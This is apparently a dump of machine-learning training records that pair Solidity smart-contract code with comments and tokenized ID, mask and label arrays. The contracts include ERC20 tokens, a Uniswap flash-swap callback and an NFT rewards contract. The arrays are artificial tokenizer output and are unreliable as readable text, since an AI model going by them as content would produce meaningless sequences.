maxBuyTxAmount = _maxTxAmount; require(maxBuyTxAmount > totalSupply().div(1000), "transaction amount must be greater than 0.1% of total supply"); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setMaxWalletToken(uint256 _maxToken) external onlyOwner { maxWalletToken = _maxToken; require(maxWalletToken > totalSupply().div(1000), "transaction amount must be greater than 0.1% of total supply"); } function blacklistAddress(address account, bool value) external onlyOwner{ _isBlacklisted[account] = value; } }
marketing wallet address
address payable public marketingWallet = payable(0xc37C58FEc615a2653e9e59838C1F0eA7fBa0450d);
10,494,353
[ 1, 3355, 21747, 9230, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 8843, 429, 1071, 13667, 310, 16936, 273, 8843, 429, 12, 20, 6511, 6418, 39, 8204, 8090, 71, 26, 3600, 69, 5558, 8643, 73, 29, 73, 6162, 28, 7414, 39, 21, 42, 20, 73, 37, 27, 74, 38, 69, 3028, 3361, 72, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.11; contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { if (msg.sender == owner) _; } } contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } contract IERC20Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 totalSupply); /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); } contract Hedge is IERC20Token, owned{ /* Public variables of the token */ string public standard = "Hedge v1.0"; string public name = "Hedge"; string public symbol = "HGD"; uint8 public decimals = 18; uint256 public initialSupply = 50000000 * 10 ** 18; uint256 public tokenFrozenUntilBlock; uint256 public timeLock = block.timestamp + 180 days; //cofounders time lock /* Private variables of the token */ uint256 supply = initialSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; mapping (address => bool) restrictedAddresses; event TokenFrozen(uint256 _frozenUntilBlock, string _reason); /* Initializes contract and sets restricted addresses */ function Hedge() { restrictedAddresses[0x0] = true; // Users cannot send tokens to 0x0 address restrictedAddresses[address(this)] = true; // Users cannot sent tokens to this contracts address balances[msg.sender] = 50000000 * 10 ** 18; } /* Get total supply of issued coins */ function totalSupply() constant returns (uint256 totalSupply) { return supply; } /* Get balance of specific address */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transferOwnership(address newOwner) onlyOwner { require(transfer(newOwner, balances[msg.sender])); owner = newOwner; } /* Send coins */ function transfer(address _to, uint256 _value) returns (bool success) { require (block.number >= tokenFrozenUntilBlock) ; // Throw is token is frozen in case of emergency require (!restrictedAddresses[_to]) ; // Prevent transfer to restricted addresses require (balances[msg.sender] >= _value); // Check if the sender has enough require (balances[_to] + _value >= balances[_to]) ; // Check for overflows require (!(msg.sender == owner && block.timestamp < timeLock && (balances[msg.sender]-_value) < 10000000 * 10 ** 18)); balances[msg.sender] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place return true; } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { require (block.number > tokenFrozenUntilBlock); // Throw is token is frozen in case of emergency allowances[msg.sender][_spender] = _value; // Set allowance Approval(msg.sender, _spender, _value); // Raise Approval event return true; } /* Approve and then communicate the approved contract in a single tx */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); // Cast spender to tokenRecipient contract approve(_spender, _value); // Set approval to contract for _value spender.receiveApproval(msg.sender, _value, this, _extraData); // Raise method on _spender contract return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require (block.number > tokenFrozenUntilBlock); // Throw is token is frozen in case of emergency require (!restrictedAddresses[_to]); // Prevent transfer to restricted addresses require(balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value >= balances[_to]); // Check for overflows require (_value <= allowances[_from][msg.sender]); // Check allowance require (!(_from == owner && block.timestamp < timeLock && (balances[_from]-_value) < 10000000 * 10 ** 18)); balances[_from] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient allowances[_from][msg.sender] -= _value; // Deduct allowance for this address Transfer(_from, _to, _value); // Notify anyone listening that this transfer took place return true; } function burn(uint256 _value) returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] -= _value; // Subtract from the sender supply-=_value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) returns (bool success) { require(balances[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowances[_from][msg.sender]); // Check allowance balances[_from] -= _value; // Subtract from the targeted balance allowances[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance supply -= _value; // Update totalSupply Burn(_from, _value); return true; } /* Get the amount of remaining tokens to spend */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances[_owner][_spender]; } /* Stops all token transfers in case of emergency */ function freezeTransfersUntil(uint256 _frozenUntilBlock, string _reason) onlyOwner { tokenFrozenUntilBlock = _frozenUntilBlock; TokenFrozen(_frozenUntilBlock, _reason); } function unfreezeTransfersUntil(string _reason) onlyOwner { tokenFrozenUntilBlock = 0; TokenFrozen(0, _reason); } /* Owner can add new restricted address or removes one */ function editRestrictedAddress(address _newRestrictedAddress) onlyOwner { restrictedAddresses[_newRestrictedAddress] = !restrictedAddresses[_newRestrictedAddress]; } function isRestrictedAddress(address _queryAddress) constant returns (bool answer){ return restrictedAddresses[_queryAddress]; } }
Users cannot sent tokens to this contracts address
restrictedAddresses[address(this)] = true;
10,838,511
[ 1, 6588, 2780, 3271, 2430, 358, 333, 20092, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 7734, 15693, 7148, 63, 2867, 12, 2211, 25887, 273, 638, 31, 4202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x990EeDfD0080E63279c8DA6e330C8F67a6145127/sources/PreachersCompFiLqdt.sol
**************************************************************************************************** THIS FUNCTION IS CALLED BY THE IUniswapV2Pair.swap FUNCTION BY NAME AND PARAMETERS -------------------------------------- Repayment At the end of following uniswapV2Call, there must return enough tokens to repay the pair to make it whole. Specifically, this means that the product of the pair reserves after the swap, discounting all token amounts sent by 0.3% LP fee, must be greater than before. function uniswapV2Call( assert( msg.sender == IUniswapV2Factory( factoryV2 ).getPair( token0, token1 ) ); ---- rest of the custom actions go here;' }/ @notice Function is called by the Uniswap V2 pair's `swap` function access control decode data NOOP to silence compiler "unused parameter" warning
function uniswapV2Call( address _sender, uint _amount0, uint _amount1, bytes calldata _data ) external { require( msg.sender == permissionedPairAddress, "only permissioned UniswapV2 pair can call" ); require( _sender == address( this ), "only this contract may initiate" ); (SwapType _swapType, address _tokenBorrow, uint _amount, address _tokenPay, bool _isBorrowingEth, bool _isPayingEth, bytes memory _triangleData, bytes memory _userData ) = abi.decode( _data, ( SwapType, address, uint, address, bool, bool, bytes, bytes ) ); if ( _swapType == SwapType.SimpleLoan ) { simpleFlashLoanExecute( _tokenBorrow, _amount, msg.sender, _isBorrowingEth, _isPayingEth, _userData ); simpleFlashSwapExecute( _tokenBorrow, _amount, _tokenPay, msg.sender, _isBorrowingEth, _isPayingEth, _userData ); triangularFlashSwapExecute( _tokenBorrow, _amount, _tokenPay, _triangleData, _userData ); } if ( false ) { _amount0; _amount1; } }
17,169,820
[ 1, 2455, 5127, 13690, 4437, 385, 27751, 6953, 12786, 467, 984, 291, 91, 438, 58, 22, 4154, 18, 22270, 13690, 6953, 6048, 4116, 18120, 55, 5375, 19134, 13465, 868, 9261, 2380, 326, 679, 434, 3751, 640, 291, 91, 438, 58, 22, 1477, 16, 1915, 1297, 327, 7304, 2430, 358, 2071, 528, 326, 3082, 358, 1221, 518, 7339, 18, 23043, 1230, 16, 333, 4696, 716, 326, 3017, 434, 326, 3082, 400, 264, 3324, 1839, 326, 7720, 16, 12137, 310, 777, 1147, 30980, 3271, 635, 374, 18, 23, 9, 511, 52, 14036, 16, 1297, 506, 6802, 2353, 1865, 18, 445, 640, 291, 91, 438, 58, 22, 1477, 12, 225, 1815, 12, 1234, 18, 15330, 422, 467, 984, 291, 91, 438, 58, 22, 1733, 12, 3272, 58, 22, 262, 18, 588, 4154, 12, 1147, 20, 16, 1147, 21, 262, 11272, 225, 27927, 3127, 434, 326, 1679, 4209, 1960, 2674, 4359, 289, 19, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 640, 291, 91, 438, 58, 22, 1477, 12, 7010, 3639, 1758, 389, 15330, 16, 203, 3639, 2254, 389, 8949, 20, 16, 203, 3639, 2254, 389, 8949, 21, 16, 203, 3639, 1731, 745, 892, 389, 892, 262, 3903, 288, 203, 540, 203, 3639, 2583, 12, 1234, 18, 15330, 422, 4132, 329, 4154, 1887, 16, 315, 3700, 4132, 329, 1351, 291, 91, 438, 58, 22, 3082, 848, 745, 6, 11272, 203, 3639, 2583, 12, 389, 15330, 422, 1758, 12, 333, 262, 16, 315, 3700, 333, 6835, 2026, 18711, 6, 11272, 203, 203, 3639, 261, 12521, 559, 389, 22270, 559, 16, 203, 540, 1758, 389, 2316, 38, 15318, 16, 203, 540, 2254, 389, 8949, 16, 203, 540, 1758, 389, 2316, 9148, 16, 203, 540, 1426, 389, 291, 38, 15318, 310, 41, 451, 16, 203, 540, 1426, 389, 291, 9148, 310, 41, 451, 16, 203, 540, 1731, 3778, 389, 16857, 4341, 751, 16, 203, 540, 1731, 3778, 389, 1355, 751, 203, 3639, 262, 273, 24126, 18, 3922, 12, 389, 892, 16, 261, 12738, 559, 16, 1758, 16, 2254, 16, 1758, 16, 1426, 16, 1426, 16, 1731, 16, 1731, 262, 11272, 203, 203, 3639, 309, 261, 389, 22270, 559, 422, 12738, 559, 18, 5784, 1504, 304, 262, 288, 203, 5411, 4143, 11353, 1504, 304, 5289, 12, 389, 2316, 38, 15318, 16, 389, 8949, 16, 1234, 18, 15330, 16, 389, 291, 38, 15318, 310, 41, 451, 16, 389, 291, 9148, 310, 41, 451, 16, 389, 1355, 751, 11272, 203, 5411, 4143, 11353, 12521, 5289, 12, 389, 2316, 38, 2 ]
// SPDX-License-Identifier: MIT /** * ░█▄ █▒█▀░▀█▀ ▒█▀▄▒██▀░█ ░▒█▒▄▀▄▒█▀▄░█▀▄░▄▀▀ * ░█▒▀█░█▀ ▒█▒▒░░█▀▄░█▄▄░▀▄▀▄▀░█▀█░█▀▄▒█▄▀▒▄██ * * Made with 🧡 by Kreation.tech */ pragma solidity ^0.8.9; import {ERC721Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import {IERC2981Upgradeable, IERC165Upgradeable} from "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {CountersUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; import {AddressUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import {StringsUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "./IMintableEditions.sol"; import "./AllowancesStore.sol"; /** * This contract allows dynamic NFT minting. * * Operations allow for selling publicly, partial or total giveaways, direct giveaways and rewardings. */ contract MintableRewards is ERC721Upgradeable, IERC2981Upgradeable, IMintableEditions, OwnableUpgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; event PriceChanged(uint256 amount); event EditionSold(uint256 price, address owner); event SharesPaid(address to, uint256 amount); struct Shares { address payable holder; uint16 bps; } struct Allowance { address minter; uint16 amount; } struct Info { // name of rewards string name; // symbol of the tokens minted by this contract string symbol; // content URL of the token editions string contentUrl; // SHA256 of the token rewards content in bytes32 format (0xHASH) bytes32 contentHash; // token rewards metadata URL string metadataUrl; } // token id counter CountersUpgradeable.Counter private counter; // token content URL string public contentUrl; // hash for the associated content bytes32 public contentHash; // token metadata URL string public metadataUrl; // the number of editions this contract can mint uint64 public size; // 8 // royalties ERC2981 in bps uint16 public royalties; // 2 address public allowancesRef; // 20 // addresses allowed to mint rewards mapping(address => uint16) private allowedMinters; // price for sale uint256 public price; // contract shareholders and shares information address[] private shareholders; mapping(address => uint16) public shares; // shares withdrawals uint256 private withdrawn; mapping(address => uint256) private withdrawals; /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer { } /** * Creates a new edition and sets the only allowed minter to the address that creates/owns the edition: this can be re-assigned or updated later. * * @param _owner can authorize, mint, gets royalties and a dividend of sales, can update the content URL. * @param _info token properties * @param _size number of NFTs that can be minted from this contract: set to 0 for unbound * @param _price sale price in wei * @param _royalties perpetual royalties paid to the creator upon token selling * @param _shares array of tuples listing the shareholders and their respective shares in bps (one per each shareholder) * @param _allowancesRef contract address storing array of tuples listing the allowed minters and their allowances */ function initialize( address _owner, Info memory _info, uint64 _size, uint256 _price, uint16 _royalties, Shares[] memory _shares, address _allowancesRef ) public initializer { __ERC721_init(_info.name, _info.symbol); __Ownable_init(); transferOwnership(_owner); // set ownership require(bytes(_info.contentUrl).length > 0, "Empty content URL"); contentUrl = _info.contentUrl; contentHash = _info.contentHash; require(bytes(_info.metadataUrl).length > 0, "Empty metadata URL"); metadataUrl = _info.metadataUrl; size = _size; price = _price; require(_allowancesRef != address(0x0), "Allowances: invalid reference"); allowancesRef = _allowancesRef; counter.increment(); // token ids start at 1 require(_royalties < 10_000, "Royalties too high"); royalties = _royalties; uint16 _totalShares; for (uint256 i = 0; i < _shares.length; i++) { _addPayee(_shares[i].holder, _shares[i].bps); _totalShares += _shares[i].bps; } require(_totalShares < 10_000, "Shares too high"); _addPayee(payable(_owner), 10_000 - _totalShares); } function _addPayee(address payable _account, uint16 _shares) internal { require(_account != address(0), "Shareholder is zero address"); require(_shares > 0 && _shares <= 10_000, "Shares are invalid"); require(shares[_account] == 0, "Shareholder already has shares"); shareholders.push(_account); shares[_account] = _shares; } /** * Returns the number of tokens minted so far */ function totalSupply() public view returns (uint256) { return counter.current() - 1; } /** * Basic ETH-based sales operation, performed at the given set price. * This operation is open to everyone as soon as the salePrice is set to a non-zero value. */ function purchase() external payable returns (uint256) { require(price > 0, "Not for sale"); require(msg.value == price, "Wrong price"); address[] memory toMint = new address[](1); toMint[0] = msg.sender; emit EditionSold(price, msg.sender); return _mintEditions(toMint); } /** * This operation sets the sale price, thus allowing anyone to acquire a token from this edition at the sale price via the purchase operation. * Setting the sale price to 0 prevents purchase of the tokens which is then allowed only to permitted addresses. * * @param _wei if sale price is 0, no sale is allowed, otherwise the provided amount of WEI is needed to start the sale. */ function setPrice(uint256 _wei) external onlyOwner { price = _wei; emit PriceChanged(price); } function allowanceOf(address minter) public view returns (uint16) { if (minter == address(0x0)) return allowedMinters[address(0x0)]; return AllowancesStore(allowancesRef).allowances(minter) - allowedMinters[minter]; } function allowPublic(bool allow) external onlyOwner { allowedMinters[address(0x0)] = allow ? 1 : 0; } /** * Transfers all ETHs from the contract balance to the owner and shareholders. */ function shake() external { for (uint i = 0; i < shareholders.length; i++) { _withdraw(payable(shareholders[i])); } } /** * Transfers `withdrawable(msg.sender)` to the caller. */ function withdraw() external { _withdraw(payable(msg.sender)); } /** * Returns how much the account can withdraw from this contract. */ function withdrawable(address payable _account) external view returns (uint256) { uint256 _totalReceived = address(this).balance + withdrawn; return (_totalReceived * shares[_account]) / 10_000 - withdrawals[_account]; } /** * INTERNAL: attempts to transfer part of the contract balance to the caller, provided the account is a shareholder and * on the basis of its shares and previous withdrawals. * * @param _account the address of the shareholder to pay out */ function _withdraw(address payable _account) internal { uint256 _amount = this.withdrawable(_account); require(_amount != 0, "Account is not due payment"); withdrawals[_account] += _amount; withdrawn += _amount; AddressUpgradeable.sendValue(_account, _amount); emit SharesPaid(_account, _amount); } /** * INTERNAL: checks if the msg.sender is allowed to mint. */ function _isAllowedToMint(uint16 amount) internal view returns (bool) { return (owner() == msg.sender) || _isPublicAllowed() || allowedMinters[msg.sender] + amount <= AllowancesStore(allowancesRef).allowances(msg.sender); } /** * INTERNAL: checks if the ZeroAddress is allowed to mint. */ function _isPublicAllowed() internal view returns (bool) { return (allowedMinters[address(0x0)] > 0); } function _consumeAllowance(uint16 amount) internal { allowedMinters[msg.sender] += amount; } /** * If caller is listed as an allowed minter, mints one NFT for him. */ function mint() external override returns (uint256) { require(_isAllowedToMint(1), "Minting not allowed"); address[] memory toMint = new address[](1); toMint[0] = msg.sender; if (owner() != msg.sender && !_isPublicAllowed()) { _consumeAllowance(1); } return _mintEditions(toMint); } /** * Mints multiple tokens, one for each of the given list of addresses. * Only the edition owner can use this operation and it is intended fo partial giveaways. * * @param recipients list of addresses to send the newly minted tokens to */ function mintAndTransfer(address[] memory recipients) external override returns (uint256) { require(_isAllowedToMint(uint16(recipients.length)), "Minting not allowed or exceeding"); if (owner() != msg.sender && !_isPublicAllowed()) { _consumeAllowance(uint16(recipients.length)); } return _mintEditions(recipients); } /** * Returns the owner of the collection of rewards. */ function owner() public view override(OwnableUpgradeable, IMintableEditions) returns (address) { return super.owner(); } function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "New owner is the zero address"); shares[newOwner] = shares[newOwner] + shares[owner()]; shares[owner()] = 0; _transferOwnership(newOwner); } function renounceOwnership() public override onlyOwner { require(address(this).balance == 0 && price == 0, "Potential loss of funds"); _transferOwnership(address(0)); } /** * Allows for updates of content and metadata urls by the owner. * Only URLs can be updated (data-uri are supported), hash cannot be updated. */ function updateEditionsURLs(string memory _contentUrl, string memory _metadataUrl) external onlyOwner { require(bytes(_contentUrl).length > 0, "Empty content URL"); contentUrl = _contentUrl; require(bytes(_metadataUrl).length > 0, "Empty metadata URL"); metadataUrl = _metadataUrl; } /** * Allows owner to update the allowances reference contract use for this rewards. */ function updateAllowancesRef(address _allowancesRef) external onlyOwner { require(AddressUpgradeable.isContract(_allowancesRef), "Invalid new reference"); allowancesRef = _allowancesRef; } /** * Returns the number of tokens still available for minting (uint64 when open edition) */ function mintable() public view override returns (uint256) { // atEditionId is one-indexed hence the need to remove one here return ((size == 0) ? type(uint64).max : size + 1) - counter.current(); } /** * User burn function for token id. * * @param tokenId token edition identifier to burn */ function burn(uint256 tokenId) external { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not approved"); _burn(tokenId); } function airdrop(uint256 start, uint256 end) external returns (uint256) { require(uint64(mintable()) >= AllowancesStore(allowancesRef).totalAllowed(), "Sold out"); uint256 _endAt = end < AllowancesStore(allowancesRef).length() ? end : AllowancesStore(allowancesRef).length(); for (uint i = start; i < _endAt; i++) { address recipient = AllowancesStore(allowancesRef).minters(i); uint16 allowance = AllowancesStore(allowancesRef).allowances(recipient) - allowedMinters[recipient]; allowedMinters[recipient] += allowance; // consumes allowance for (uint j = 0; j < allowance; j++) { _mint(recipient, counter.current()); counter.increment(); } } return counter.current(); } /** * Private function to mint without any access checks. * Called by the public edition minting functions. */ function _mintEditions(address[] memory recipients) internal returns (uint256) { require(uint64(mintable()) >= recipients.length, "Sold out"); for (uint i = 0; i < recipients.length; i++) { _mint(recipients[i], counter.current()); counter.increment(); } return counter.current(); } /** * Get URI and hash for edition NFT * * @return metadataUrl, contentHash */ function getURI() public view returns (string memory, bytes32, string memory) { return (contentUrl, contentHash, metadataUrl); } /** * Get URI for given token id * * @param tokenId token id to get uri for * @return base64-encoded json metadata object */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "Edition doesn't exist"); return string(metadataUrl); } /** * ERC2981 - Gets royalty information for token * * @param _value the sale price for this token */ function royaltyInfo(uint256, uint256 _value) external view override returns (address receiver, uint256 royaltyAmount) { if (owner() == address(0x0)) { return (owner(), 0); } return (owner(), (_value * royalties) / 10_000); } function supportsInterface(bytes4 interfaceId) public view override(ERC721Upgradeable, IERC165Upgradeable) returns (bool) { return type(IERC2981Upgradeable).interfaceId == interfaceId || ERC721Upgradeable.supportsInterface(interfaceId); } }
* Allows for updates of content and metadata urls by the owner. Only URLs can be updated (data-uri are supported), hash cannot be updated./
function updateEditionsURLs(string memory _contentUrl, string memory _metadataUrl) external onlyOwner { require(bytes(_contentUrl).length > 0, "Empty content URL"); contentUrl = _contentUrl; require(bytes(_metadataUrl).length > 0, "Empty metadata URL"); metadataUrl = _metadataUrl; }
1,046,542
[ 1, 19132, 364, 4533, 434, 913, 471, 1982, 6903, 635, 326, 3410, 18, 5098, 10414, 848, 506, 3526, 261, 892, 17, 1650, 854, 3260, 3631, 1651, 2780, 506, 3526, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
